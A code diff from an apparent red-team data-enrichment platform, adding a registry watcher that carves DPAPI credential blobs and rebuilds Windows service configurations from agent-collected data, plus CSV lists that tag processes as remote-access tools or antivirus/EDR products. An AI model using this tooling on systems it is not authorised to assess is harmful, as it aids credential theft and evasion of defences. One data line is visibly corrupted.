+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from enrichment.lib.nemesis_db import NemesisDb, RegistryObject, ServiceColumn
+from enrichment.tasks.postgres_connector.registry_path_utils import (
+ normalize_registry_path, parse_next_subkey)
+from nemesiscommon.messaging import MessageQueueProducerInterface
+from winacl.dtyp.ace import ACCESS_ALLOWED_CALLBACK_ACE
+from winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR
+
+logger = structlog.get_logger(module=__name__)
+
+
+class RegistryWatcher:
+ db: NemesisDb
+ out_q_dpapiblob: MessageQueueProducerInterface
+
+ # Constants
+ SERVICES_REGISTRY_PATH_REGEX: re.Pattern = re.compile(
+ r"^hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\services\\", re.IGNORECASE
+ )
+ SERVICES_REGISTRY_PATH_MIN_LEN: int = len("hklm\\system\\controlset001\\services\\")
+ SERVICE_REG_VALUE_TO_COLUMN: Dict[str, ServiceColumn] = {
+ "displayname": ServiceColumn.DISPLAY_NAME,
+ "description": ServiceColumn.DESCRIPTION,
+ "imagepath": ServiceColumn.BINARY_PATH,
+ "objectname": ServiceColumn.USERNAME,
+ "type": ServiceColumn.SERVICE_TYPE,
+ "start": ServiceColumn.START_TYPE,
+ }
+ SERVICES_ROOT_VALUE_NAMES: Set[str] = set(SERVICE_REG_VALUE_TO_COLUMN.keys())
+ SERVICE_PARAMETER_VALUE_NAMES: List[str] = ["servicedll", "servicemain"]
+ SERVICE_SECURITY_VALUE_NAMES: List[str] = [
+ "security",
+ ]
+
+ def __init__(self, db: NemesisDb, out_q_dpapiblob: MessageQueueProducerInterface) -> None:
+ self.db = db
+ self.out_q_dpapiblob = out_q_dpapiblob
+
+ async def process_registry_value(self, event: pb.RegistryValueIngestionMessage) -> None:
+ metadata = event.metadata
+
+ for d in event.data:
+ normalized = await self.normalize_registry_value(d)
+
+ unique_db_id = await self.save_reg_value_to_db(metadata, normalized)
+
+ if d.tags and "dpapi_value" in d.tags:
+ # if the registry value is tagged as containing DPAPI data carve it
+ try:
+ raw_bytes = base64.b64decode(d.value)
+ carved = await helpers.carve_dpapi_blobs_from_reg_key(raw_bytes, unique_db_id, metadata)
+ if carved is not None:
+ (dpapi_blob_ids, dpapi_blob_messages) = carved
+ # publish any carved DPAPI blobs to the queue
+ for dpapi_blob_message in dpapi_blob_messages:
+ await self.out_q_dpapiblob.Send(dpapi_blob_message.SerializeToString())
+ except Exception as e:
+ logger.exception(
+ "Carving DPAPI blob from registry key failed",
+ e,
+ key=d.key,
+ value_name=d.value_name,
+ unique_db_id=unique_db_id,
+ project=metadata.project,
+ agent_id=metadata.agent_id,
+ )
+ # TODO: Need to provide support for services specifying info in both key's default values
+ # or in in registry values. For example, an SDDL can be specified in a
+ # or "Services\\Security ! (Default)"" or "Services\ ! Security"
+ await self.build_service_from_registry(metadata, normalized)
+
+ async def normalize_registry_value(self, r: pb.RegistryValueIngestion) -> pb.RegistryValueIngestion:
+ """Normalizes a registry value"""
+
+ # Normalize the key path
+ r.key = normalize_registry_path(r.key)
+ return r
+
+ async def save_reg_value_to_db(self, m: pb.Metadata, r: pb.RegistryValueIngestion) -> str:
+ """Saves a registry value to the database
+
+ Args:
+ metadata (pb.Metadata): Protobuf object containing the metadata.
+ r (pb.RegistryValueIngestion): Protobuf object containing the registry value.
+ """
+ reg_data = RegistryObject(
+ m.agent_id,
+ m.project,
+ m.source,
+ m.timestamp.ToDatetime(),
+ m.expiration.ToDatetime(),
+ r.key,
+ r.value_kind,
+ r.sddl,
+ r.value_name,
+ r.value,
+ r.tags,
+ )
+
+ unique_db_id = await self.db.add_registry_object(reg_data)
+ return unique_db_id
+
+ async def build_service_from_registry(self, metadata: pb.Metadata, data: pb.RegistryValueIngestion) -> None:
+ keyAbsPath = data.key
+
+ if len(keyAbsPath) <= self.SERVICES_REGISTRY_PATH_MIN_LEN:
+ return
+
+ regex_match = self.SERVICES_REGISTRY_PATH_REGEX.match(keyAbsPath)
+ if not regex_match:
+ return
+
+ if data.value_name:
+ value_name = data.value_name.lower()
+ else:
+ value_name = None
+
+ value = data.value
+
+ remaining_path = keyAbsPath[regex_match.end() :]
+ service_name, remaining_path = parse_next_subkey(remaining_path)
+
+ if remaining_path:
+ subkey, remaining_path = parse_next_subkey(remaining_path)
+ else:
+ subkey = None
+
+ if not value_name:
+ await self.db.add_service(metadata, service_name)
+ return
+
+ if not subkey:
+ # We're in the service's root key (e.g. "Services\\")
+ await self.handle_service_root_key(metadata, service_name, value_name, value)
+ else:
+ if remaining_path:
+ # If we're in a subkey that we don't support yet (e.g. "Services\\Parameters\Subkey")
+ return
+
+ if subkey.lower() == "parameters":
+ await self.handle_service_parameters_key(metadata, service_name, value_name, value)
+ if subkey.lower() == "security":
+ await self.handle_service_security_key(metadata, service_name, value_name, value)
+
+ def convert_raw_security_descriptor_to_sddl(self, sd_bytes: bytes) -> str:
+ """
+ Converts raw security descritor bytes to a SDDL string.
+ """
+ return SECURITY_DESCRIPTOR.from_bytes(sd_bytes).to_sddl()
+
+ async def handle_service_root_key(self, metadata: pb.Metadata, service_name: str, value_name: str, value: str) -> None:
+ """Handles ingestion of values from a service's root registry key("HKLM\\SYSTEM\\CurrentControlSet\\Services\\SERVICE_NAME").
+
+ Args:
+ metadata (pb.Metadata): The metadata about the registy value.
+ service_name (str): Name of the service associated with the parameters key.
+ value_name (str): Name of the registry value.
+ value (str): Value of the registry value.
+ """
+ value_name_lower = value_name.lower()
+ if value_name_lower not in self.SERVICE_REG_VALUE_TO_COLUMN:
+ return
+
+ column: ServiceColumn = self.SERVICE_REG_VALUE_TO_COLUMN[value_name_lower]
+
+ match value_name_lower:
+ case "imagepath":
+ await self.db.add_service_property(metadata, service_name, column, value)
+ command_line = helpers.extract_binary_path(value)
+ if command_line:
+ await self.db.add_service_property(metadata, service_name, ServiceColumn.COMMAND_LINE, command_line)
+
+ case "start":
+ await self.db.add_service_property(metadata, service_name, column, int(value))
+ case "type":
+ await self.db.add_service_property(metadata, service_name, column, int(value))
+ case _:
+ if value_name_lower in self.SERVICES_ROOT_VALUE_NAMES:
+ await self.db.add_service_property(metadata, service_name, column, value)
+
+ async def handle_service_parameters_key(self, metadata: pb.Metadata, service_name: str, value_name: str, value: str) -> None:
+ """Handles ingestion of values from the "Services\\SERVICE_NAME\\Parameters" registry key.
+
+ Args:
+ metadata (pb.Metadata): The metadata about the registy value.
+ service_name (str): Name of the service associated with the parameters key.
+ value_name (str): Name of the registry value.
+ value (str): Value of the registry value.
+ """
+ if value_name not in self.SERVICE_PARAMETER_VALUE_NAMES:
+ return
+
+ if value_name == "servicedll":
+ await self.db.add_service_property(metadata, service_name, ServiceColumn.SERVICE_DLL_PATH, value)
+ elif value_name == "servicemain":
+ await self.db.add_service_property(metadata, service_name, ServiceColumn.SERVICE_DLL_ENTRYPOINT, value)
+
+ async def handle_service_security_key(self, metadata: pb.Metadata, service_name: str, value_name: str, value: str) -> None:
+ """Handles ingestion of values from the "Services\\SERVICE_NAME\\Security" registry key.
+
+ Args:
+ metadata (pb.Metadata): The metadata about the registy value.
+ service_name (str): Name of the service associated with the parameters key.
+ value_name (str): Name of the registry value.
+ value (str): Value of the registry value.
+ """
+ if value_name not in self.SERVICE_SECURITY_VALUE_NAMES:
+ return
+
+ try:
+ sec_desc_bytes = base64.b64decode(value)
+ sddl = self.convert_raw_security_descriptor_to_sddl(sec_desc_bytes)
+ await self.db.add_service_property(metadata, service_name, ServiceColumn.SDDL, sddl)
+ except AttributeError as e:
+ if e.name == "to_sddl" and type(e.obj) == ACCESS_ALLOWED_CALLBACK_ACE:
+ logger.warning(
+ "Data loss due to bytes-to-SDDL conversion failing due to a known bug: there's an ACCESS_ALLOWED_CALLBACK_ACE in the security descriptor (see https://github.com/skelsec/winacl/issues/10)",
+ project=metadata.project,
+ agent_id=metadata.agent_id,
+ service=service_name,
+ )
+ else:
+ logger.exception(
+ "Bytes to SDDL conversion failed",
+ e,
+ project=metadata.project,
+ agent_id=metadata.agent_id,
+ service=service_name,
+ base64_bytes=value,
+ )
diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/categorizer.py b/cmd/enrichment/enrichment/tasks/process_categorizer/categorizer.py
new file mode 100644
index 0000000..8ffc0a3
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/process_categorizer/categorizer.py
@@ -0,0 +1,80 @@
+# Standard Libraries
+import os
+from abc import ABC, abstractmethod
+from dataclasses import dataclass
+from typing import Dict, Optional
+
+
+@dataclass
+class ProcessCategory:
+ category: str
+ description: Optional[str]
+
+
+class ProcessCategorizerInterface(ABC):
+ @abstractmethod
+ async def lookup(self, name: str) -> ProcessCategory:
+ pass
+
+
+class CsvProcessCategorizer(ProcessCategorizerInterface):
+ processCategoryMap: Dict[str, ProcessCategory] = {}
+ data_path: str
+ _initialized: bool = False
+ _category_files: Dict[str, str] = {
+ "AccessTool": "access_tools.csv",
+ "Browser": "browsers.csv",
+ "Infrastructure": "infrastructure.csv",
+ "Other": "other.csv",
+ "MiscAwareness": "misc_awareness.csv",
+ "Security": "security_products.csv",
+ }
+
+ def __init__(self, data_path: Optional[str] = None):
+ if data_path:
+ self.data_path = data_path
+ else:
+ self.data_path = os.path.join(os.path.dirname(__file__), "data")
+
+ def __load_categories(self) -> None:
+ for category_name, filename in self._category_files.items():
+ filepath = os.path.join(self.data_path, filename)
+ self.__load_csv(category_name, filepath)
+
+ def __load_csv(self, category_name: str, filepath: str) -> None:
+ csv = open(filepath, "r", encoding="utf-8")
+ lines = csv.readlines()
+ csv.close()
+
+ for line in lines:
+ line = line.strip()
+ if line == "" or line.startswith("#"):
+ continue
+
+ parts = line.split(",", 1)
+
+ process_name = parts[0].lower()
+
+ if len(parts) == 1:
+ description = None
+ else:
+ description = parts[1]
+
+ category = ProcessCategory(category_name, description)
+
+ # if process_name in self.processCategoryMap:
+ # raise Exception(f"Duplicate process category for the process {process_name}")
+ # else:
+ # self.processCategoryMap[process_name] = category
+ self.processCategoryMap[process_name] = category
+
+ async def lookup(self, name: str) -> ProcessCategory:
+ if not self._initialized:
+ self.__load_categories()
+ self._initialized = True
+
+ name = name.lower()
+ if name in self.processCategoryMap:
+ return self.processCategoryMap[name]
+ else:
+ return ProcessCategory("Unknown", "Unknown")
diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/access_tools.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/access_tools.csv
new file mode 100644
index 0000000..a99a87b
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/access_tools.csv
@@ -0,0 +1,47 @@
+# Format: , -
+1Password.exe,1Password
+BvSsh.exe,BitVis SSH
+dbeaver.exe,Database Querying/Management Tool
+DWRCS.exe,DameWare - Remote Control
+DWRCST.exe,DameWare - Remote Control
+filezilla.exe,FileZilla
+ftp.exe,FileZilla FTP
+fzsftp.exe,FileZilla sFTP
+JumpConnect.exe,Jump Desktop Connect - Jump Desktop Connect
+JumpDesktop.exe,Jump Desktop - Jump Desktop
+JumpService.exe,Jump Desktop - Jump Desktop Service
+keepass.exe,Password Manager
+Microsoft.ConfigurationManagement.exe,Microsoft - SCCM Admin Console
+mmc.exe,Microsoft Windows - Microsoft Management Console
+mstsc.exe,Windows RDP Client
+PAGEANT.EXE,Putty Key Agent
+plink.exe,SSH Client
+powershell.exe,Microsoft Windows - PowerShell
+PowerShell_ISE.exe,Microsoft Windows - PowerShell ISE
+pritunl.exe,VPN Client
+pritunl-service.exe,VPN Client
+PSCP.EXE,Putty SSH Client
+PSFTP.EXE,Putty FTP Client
+PsExec.exe,Sysinternals PsExec
+putty.exe,Putty SSH Client
+RDCMan.exe,Remote Desktop Connection Manager
+Receiver.exe,Citrix - Receiver Application
+SecurID.exe,RSA Secure ID
+SecureCRT.exe,SSH Client
+SelfService.exe,Citrix - ICA SelfService
+SelfServicePlugin.exe,Citrix - ICA SelfServicePlugin
+ssh.exe,SSH Client
+SuperPutty.exe,SSH Client
+synergyc.exe, Synergy - Share a mouse/keyboard across computers
+synergyd.exe, Synergy - Share a mouse/keyboard across computers
+TeamViewer.exe,TeamViewer
+tv_x64.exe,TeamViewer
+tv_w32.exe,TeamViewer
+Viscosity.exe,Viscosity VPN Client
+ViscosityService.exe,Viscosity - ViscosityService
+vnc.exe,VNC
+vpnagent.exe,Cisco AnyConnect Secure Mobility Client - VPN Agent Service
+wfcrun32.exe,Citrix - ICA Client - Connection Manager
+winpty-agent.exe,Putty Agent
+winvnc.exe,VNC
+WinSCP.exe,WinScp SSH Client
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/browsers.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/browsers.csv
new file mode 100644
index 0000000..9425957
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/browsers.csv
@@ -0,0 +1,7 @@
+# Format: , -
+chrome.exe,Google Chrome
+firefox.exe,Mozilla Firefox
+iexplore.exe,Microsoft Internet Explorer
+microsoftedge.exe,Microsoft Edge
+microsoftedgecp.exe,Microsoft Edge
+msedge.exe,Microsoft Edge
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/infrastructure.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/infrastructure.csv
new file mode 100644
index 0000000..8bd5ed6
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/infrastructure.csv
@@ -0,0 +1,26 @@
+# Format: , -
+btservice.exe,BeyondTrust PowerBroker (selective user elevation)
+certsrv.exe,Microsoft Windows - Certificate Service
+CcmExec.exe,System Center Configuration Manager - Host Process
+CmRcService.exe,System Center Configuration Manager - Remote Control Service
+DFSRs.exe,Microsoft Windows - Distributed File System Replication
+dns.exe,Microsoft Windows - Domain Name System (DNS) Server
+LMIGuardian.exe,LogMeIn
+LogMeInSystray.exe,LogMeIn
+miiserver.exe,Microsoft Azure AD Connect - Synchronization service.
+NomadBranch.exe,1E - NomadBranch
+policyHost.exe,Microsoft - Policy Platform Service (used by SCCM)
+PXELiteServer.exe,1E - NomadBranch PXE Server
+PSEXESVC.exe,Sysinternals PsExec - PsExec Service
+RaMaint.exe,LogMeIn
+sqlservr.exe,Microsoft SQL Server - SQL Server Windows NT
+sqlwriter.exe,Microsoft SQL Server - SQL Server VSS Writer
+TeamViewer_Service.exe,TeamViewer
+VGAuthService.exe,VMware Workstation - VMware Guest Authentication Service
+vmacthlp.exe,VMware Tools - VMware Activation Helper
+vmtoolsd.exe,VMware Tools - VMware Tools Core Service
+vmware-converter-a.exe,VMware vCenter Converter Standalone - VMware Converter Service
+vmware-converter.exe,VMware vCenter Converter Standalone - VMware Converter Service
+ZSAService.exe,ZScaler
+ZSATray.exe,ZScaler
+ZSATunnel.exe,ZScaler
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/misc_awareness.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/misc_awareness.csv
new file mode 100644
index 0000000..82b5b1c
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/misc_awareness.csv
@@ -0,0 +1,5 @@
+# Format: , -
+logonui.exe,Windows Logon User Interface Host
+scrnsave.exe,Screen Saver
+wmiprvse.exe,Microsoft Windows - WMI Provider Host
+werfault.exe,Windows Error Reporting - Did you crash a process?
diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/other.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/other.csv
new file mode 100644
index 0000000..f2798f2
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/other.csv
@@ -0,0 +1,221 @@
+# Format: , -
+[System Process],Microsoft Windows - System Idle Process
+AcroRd32.exe,Adobe - Acrobat
+acrotray.exe, Adobe - Acrobat Tray
+AdminService.exe,Windows (R) Win 7 DDK driver - Windows Setup API
+adobearm.exe,Adobe - Acrobat Updater
+AdobeUpdateService.exe, Adobe - Adobe Updater
+aesm_service.exe,Intel Software Guard Extensions - Intel SGX Application Enclave Services Manager
+AGMService.exe,Adobe - Genuine Software Service
+AGSService.exe,Adobe - Genuine Software Integrity Service
+Apoint.exe,Dell - TouchPad
+ApplicationFrameHost.exe,Microsoft Windows - Application Frame Host
+AppVShNotify.exe,Microsoft Windows - Application Virtualization Client Shell Notifier
+armsvc.exe,Adobe - Adobe Acrobat Update Service
+AUDIODG.EXE,Microsoft Windows - Windows Audio Device Graph Isolation
+AuthManSvr.exe,Citrix - Citrix Authentication Manager
+backgroundtaskhost.exe - Microsoft Windows - Background Task Host
+BatteryExtenderUtil.exe,Dell Command | Power Manager - BatteryExtenderUtil
+CCleaner64.exe,CCleaner - CCleaner
+ciscod.exe,Cisco - AnyConnect Service
+CiscoJabber.exe,Cisco - Jabber Messenger
+CiscoWebexStart.exe,Cisco - Webex
+cmd.exe,Microsoft Windows - Windows Command Processor
+Code.exe,Visual Studio Code - Visual Studio Code
+CodeHelper.exe,Visual Studio Code - CodeHelper
+com.docker.backend.exe,Docker for Windows - Desktop Backend
+com.docker.proxy.exe,Docker for Windows
+com.docker.service,Docker for Windows - Service
+com.docker.wsl-distro-proxy.exe,Docker for Windows - WSL Proxy
+concentr.exe,Citrix - ICA Client
+conhost.exe,Microsoft Windows - Console Window Host
+CptService.exe,Zoom - Sharing Service(remote users can control desktop)
+cscript.exe,Microsoft Windows - Windows Script Host
+csrss.exe,Microsoft Windows - Client Server Runtime Process
+ctfmon.exe,Microsoft Windows - Language Bar
+CxAudioSvc.exe,Conexant - Audio Service
+CxUtilSvc.exe,Conexant - Utility service for audio applications
+dasHost.exe,Microsoft Windows - Device Association Framework Provider Host
+devenv.exe,Microsoft - Visual Studio
+DisplayLinkUI.exe, Display Link - DisplayLinkUI Sys-Tray Application
+dllhost.exe,Microsoft Windows - COM Surrogate
+Docker Desktop.exe,Docker for Windows - Desktop GUI
+docker.exe,Docker for Windows - Docker Application
+DolbyDAX2API.exe,Dolby Audio - DAX2 API Service
+dptf_helper.exe,Intel Dynamic Platform and Thermal Framework Utility Application
+DSAService.exe,Intel - Driver and Support Assistant Service
+DSATray.exe,Intel - Driver and Support Assistant Tray
+DSAUpdateService.exe,Intel - Driver and Support Assistant Update Service
+dwm.exe,Microsoft Windows - Desktop WinptSrv.exedow Manager
+EmCoreService.exe,Ivanti - AppSense User Virtualization Service for Policy/Personalization
+EmSystem.exe,Ivanti - Environment Manager Client System Process
+EmUser.exe,Ivanti - Environment Manager Client User Process
+esif_uf.exe,Intel Dynamic Platform and Thermal Framework
+esrv_svc.exe,Intel - Energy Checker Energy Server Service
+esrv.exe,Intel - Energy Checker
+EXCEL.EXE,Microsoft Excel
+explorer.exe,Microsoft Windows - Windows Explorer
+FMAPP.exe,Realtek - Fortemedia Audio Processing Application
+fontdrvhost.exe,Microsoft Windows - Usermode Font Driver Host
+GoogleUpdate.exe,Google - Updater Service
+helppane.exe,Microsoft Windows - Microsoft Help and Support
+HidFind.exe,Dell/Alps Electric Co., Ltd - TouchPad
+HidMonitorSvc.exe,Dell/Alps Electric Co., Ltd - HID Monitor Service
+HostControlService.exe,Broadcom - Credential Vault - Fingerprint Processing
+HostStorageService.exe,Broadcom - Credential Vault - Persist CV Objects into Hard drive
+IAStorDataMgrSvc.exe,Intel Rapid Storage Technology
+IAStorIcon.exe,Intel Rapid Storage Technology
+ibmpmsvc.exe,IBM - Lenovo Power Management Service
+ibtsiva.exe,Intel - Wireless Bluetooth iBtSiva Service
+IDContext.exe,Oracle - Enterprise Single Sign-On
+igfxCUIService.exe,Intel Graphics Common User Interface
+igfxEM.exe,Intel Graphics Common User Interface
+igfxHK.exe,Intel Graphics Hot Key Control
+inetinfo.exe,Internet Information Services
+IntelAudioService.exe,Intel - Smart Sound Technology Audio Service
+IntelCpHDCPSvc.exe,Intel Graphics High Definition Content Protection
+IntelCpHeciSvc.exe,Intel Graphics Content Protection
+ipoint.exe,Microsoft Mouse and Keyboard Center
+IpOverUsbSvc.exe,Microsoft Windows Kits - Windows IP Over USB PC Service
+ismserv.exe,Microsoft Windows - Windows NT Intersite Messaging Service
+itype.exe,Microsoft Mouse and Keyboard Center
+java.exe,Java Platform - Java Platform SE binary
+jhi_service.exe,Intel Management Engine Componenet
+jucheck.exe,Oracle Java - Java Updater
+jusched.exe,Oracle Java - Java Updater
+LMS.exe,Intel Local Management Service
+LockApp.exe,Microsoft Windows - Windows Default Lock App
+LPlatSvc.exe,Lenovo - Lenovo Platform Service
+LsaIso.exe,Microsoft Windows - LSA Isolation - Cred Guard & Key Guard
+lsass.exe,Microsoft Windows - Local Security Authority Process
+lsm.exe,Microsoft Windows - Local Session Manager Service
+lync.exe,Microsoft Office - Skype for Business
+lynchtmlconv.exe,Microsoft Office - Unknown purpose
+MBAMAgent.exe,Microsoft Bitlocker Administration and Monitoring
+Memory Compression,Microsoft Windows - Memory compression (avoids paging)
+Microsoft.Photos.exe,Microsoft Photos
+MicTray64.exe,Conexant - MicTray
+mobsync.exe,Microsoft Windows - Microsoft Sync Center
+MOMPerfSnapshotHelper.exe,SCCM Performance Counter Application
+msdtc.exe,Microsoft Windows - Microsoft Distributed Transaction Coordinator Service
+msoia.exe,Microsoft Office - Telemetry Agent
+notepad.exe,Microsoft Windows - Notepad
+notepad++.exe,Notepad++ - Notepad++(text editor)
+NotificationSvc.exe,Oracle - Enterprise Single Sign-On
+nvapiw.exe,DDV(Dell Data Vault) Nvidia Graphics Worker
+NVDisplay.Container.exe,NVIDIA
+nvvsvc.exe,NVIDIA Driver Helper Service, Version 276.19 - NVIDIA Driver Helper Service, Version 276.19
+nvxdsync.exe,NVIDIA User Experience Driver Component - NVIDIA User Experience Driver Component
+OfficeC2RClient.exe,Microsoft Office Updater
+OfficeClickToRun.exe,Microsoft Office Updater
+officesvcmgr.exe,Microsoft Office - Serviceability Manager
+OneDrive.exe,Microsoft OneDrive File Storage
+ONENOTE.EXE,Microsoft OneNote - Microsoft OneNote
+ONENOTEM.EXE,Microsoft OneNote - Send to OneNote Tool
+OUTLOOK.EXE,Microsoft Outlook - Microsoft Outlook
+POWERPNT.EXE,Microsoft Office - Microsoft PowerPoint
+PresentationFontCache.exe,Microsoft .NET Framework - PresentationFontCache.exe
+PTIM.exe,Cisco WebEx
+ptOIEx64.exe,Cisco WebEx - Meetings Desktop Application
+ptoneclk.exe,Cisco WebEx - Meetings Desktop App
+ptSrv.exe,Cisco WebEx - ptService Module
+QcomWlanSrvx64.exe,Qualcomm Atheros WLAN Driver Service - Qualcomm Atheros Universal WLAN Driver Service
+RAVBg64.exe,Realtek - HD Audio Background Process
+RAVCpl64.exe,Realtek - Realtek HD Audio Manager
+rdpclip.exe,RDP Clipboard Monitor
+RdrCEF.exe,Adobe - Adobe Reader Cloud Extention Feature
+redirector.exe,Citrix - FTA, URL Redirector
+Registry,Microsoft Windows - Registry
+RstMwService.exe,Intel - Rapid Storage Technology Management Service
+RtkAudioService64.exe,Realtek Audio Service - Realtek Audio Service
+RtkAudUService64.exe,Realtek HD Audio Universal Service
+rundll32.exe,Microsoft Windows - Windows host process (Rundll32)
+RuntimeBroker.exe,Microsoft Windows - Runtime Broker
+SCNotification.exe,SCCM
+SearchFilterHost.exe,Microsoft Windows - Microsoft Windows Search Filter Host
+SearchIndexer.exe,Microsoft Windows - Microsoft Windows Search Indexer
+SearchProtocolHost.exe,Microsoft Windows - Microsoft Windows Search Protocol Host
+SearchUI.exe,Microsoft Windows - Search and Cortana application
+SecomSDK.exe,Sennheiser - Softphone SDK
+SecurityHealthService.exe,Microsoft Windows - Windows Security Health Service
+SecurityHealthSystray.exe,Microsoft Windows - Security Health Systray Application
+ServerManager.exe,Microsoft Windows - Server Manager
+services.exe,Microsoft Windows - Services and Controller app
+SettingSyncHost.exe,Microsoft Windows - Host Process for Setting Synchronization
+sgrmBroker.exe,Microsoft Windows - System Guard Runtime Monitor Broker Service
+ShellExperienceHost.exe,Microsoft Windows - Windows Shell Experience Host
+SHTCTKY.EXE,Lenovo - ThinkPad Message Receiver for Shortcut Hot Keys
+sidebar.exe,Microsoft Windows - Windows Desktop Gadgets
+sihost.exe,Microsoft Windows - Shell Infrastructure Host
+SkypeApp.exe,Skype
+SkypeBackgroundHost.exe,Skype
+SkypeHost.exe,Skype
+slack.exe,Slack - Slack
+smss.exe,Microsoft Windows - Windows Session Manager
+Snagit32.exe,Snagit - Snagit
+snagiteditor.exe,Snagit - Snagit Editor
+SnagPriv.exe,SnagPriv - Snagit RPC Helper
+SocketHeciServer.exe,Intel - Intel(R) Capability Licensing Service TCP IP Interface
+spoolsv.exe,Microsoft Windows - Spooler SubSystem App
+Spotify.exe,Spotify Music Player
+spotifywebhelper.exe,Spotify Music Player
+ssoauth.exe,Oracle - Enterprise Single Sign-On
+ssobho.exe,Oracle - Enterprise Single Sign-On
+ssocredcap.exe,Oracle - Enterprise Single Sign-On
+ssocredcap64.exe,Oracle - Enterprise Single Sign-On
+SSOSensSvc.exe,Oracle - Enterprise Single Sign-On
+ssoshell.exe,Oracle - Enterprise Single Sign-On
+ssouiaho.exe,Oracle - Enterprise Single Sign-On
+ssowebho.exe,Oracle - Enterprise Single Sign-On
+ssox64ho.exe,Oracle - Enterprise Single Sign-On
+SurSvc.exe,Intel - System Usage Report Service
+SUService.exe,Lenovo System Update
+svchost.exe,Microsoft Windows - Host Process for Windows Services
+System,Microsoft Windows - NT Kernel
+SystemSettings.exe,Microsoft Windows - Settings
+SystemSettingsBroker.exe,Microsoft Windows - System Settings Broker
+taskeng.exe,Microsoft Windows - Task Scheduler Engine
+taskhost.exe,Microsoft Windows - Host Process for Windows Tasks
+taskhostex.exe,Microsoft Windows - Host Process for Windows Tasks
+taskhostw.exe,Microsoft Windows - Host Process for Windows Tasks
+tbtsvc.exe,Intel - Connects and manages Thunderbolt devices
+Teams.exe,Microsoft Teams - Microsoft Teams Messenging
+Thunderbolt.exe,Intel - Thunderbolt
+TPHKLOAD.exe,Lenovo - ThinkPad Message Client Loader
+tpnumlkd.exe,Lenovo - NumLock on screen display for ThinkPad
+TPONSCR.EXE,Lenovo - On Screen Display Drawer
+TPOSD.EXE,Lenovo - On screen display drawer
+TPSCREX.EXE,Lenovo - ThinkPad UltraZoom
+ucmapi.exe,Skype For Business - Unified Communications Messaging Application Programming Interface
+unsecapp.exe,Microsoft Windows - Asynch Callback Sync for WMI Client Apps
+upnpcont.exe,UPnP Device Host Container
+vds.exe,Microsoft Windows - Virtual Disk Service
+virtscrl.exe,Lenovo - Auto Scroll Utility
+VISIO.exe,Microsoft Visio
+vmcompute.exe,Microsoft - Hyper-V Host Compute Service
+vmmem,Microsoft Windows - Virtual Machine Memory
+vmms.exe,Microsoft - Virtual Machine Management Service
+vmnat.exe,VMware Workstation - VMware NAT Service
+vmnetdhcp.exe,VMware Workstation - VMware VMnet DHCP service
+vmware-authd.exe,VMware Workstation - VMware Authorization Service
+vmware-tray.exe,VMware Workstation - VMware Tray Process
+vmware-unity-helper.exe,VMware Workstation - VMware Unity Helper
+vmware-usbarbitrator64.exe,VMware - VMware USB Arbitration Service
+vmware-vmx.exe,VMware Workstation - VMware Workstation VMX
+vmware.exe,VMware Workstation - VMware Workstation
+vpnui.exe,Cisco - AnyConnect User Interface
+wbxcOIEx.exe,Cisco WebEx - WebEx Mapi Component
+wbxcOIEx64.exe,Cisco WebEx - WebEx Mapi Component
+WebexMTA.exe,Cisco WebEx - Multithreaded COM Apartment
+wininit.exe,Microsoft Windows - Windows Start-Up Application
+winlogon.exe,Microsoft Windows - Windows Logon Application
+WinStore.App.exe,Microsoft Windows - Windows Store
+WINWORD.EXE,Microsoft Word
+wlanext.exe,Microsoft Windows - Wireless LAN 802.11 Extensibility Framework
+wmiapsrv.exe,Microsoft Windows - WMI Performance Reverse Adapter
+WORD.EXE,Microsoft Word
+wscript.exe,Microsoft Windows - Windows Scripting Host
+wsl.exe,Microsoft Windows - Subsystem for Linux Launcher
+wslhost.exe,Microsoft Windows - Subsystem for Linux Background Host
+wuauclt.exe,Microsoft Windows - Windows Update
+WUDFHost.exe,Microsoft Windows - WDF User-mode Driver Framework Host
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/security_products.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/security_products.csv
new file mode 100644
index 0000000..f31c5b8
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/security_products.csv
@@ -0,0 +1,679 @@
+# Format: , -
+# Ref https://github.com/GhostPack/Seatbelt/blob/72dd355102324f6f319c88f03be6d2a62cf38ace/Seatbelt/Commands/Windows/InterestingProcessesCommand.cs#L30-L709
+mcshield.exe,McAfee
+windefend.exe,Windows Defender AV
+msascui.exe,Windows Defender AV
+msascuil.exe,Windows Defender AV
+msmpeng.exe,Windows Defender AV
+msmpsvc.exe,Windows Defender AV
+wrsa.exe,WebRoot AV
+savservice.exe,Sophos AV
+tmccsf.exe,Trend Micro AV
+symantec antivirus.exe,Symantec
+aexnsagent.exe,Symantec
+ccsvchst.exe,Symantec
+sisidsservice.exe,Symantec IDS
+sisipsservice.exe,Symantec IPS
+sisipsutil.exe,Symantec IPS
+kvoop.exe,Symantec DLP
+brkrprcs64.exe,Symantec DLP
+edpa.exe,Symantec DLP
+mbae.exe,MalwareBytes Anti-Exploit
+parity.exe,Bit9 application whitelisting
+cb.exe,Carbon Black behavioral analysis
+repux.exe,Carbon Black Defense
+repmgr.exe,Carbon Black Defense
+reputils.exe,Carbon Black Defense
+repwsc.exe,Carbon Black Defense
+cylancesvc.exe,Cylance Protect
+cylanceui.exe,Cylance Protect
+bds-vision.exe,BDS Vision behavioral analysis
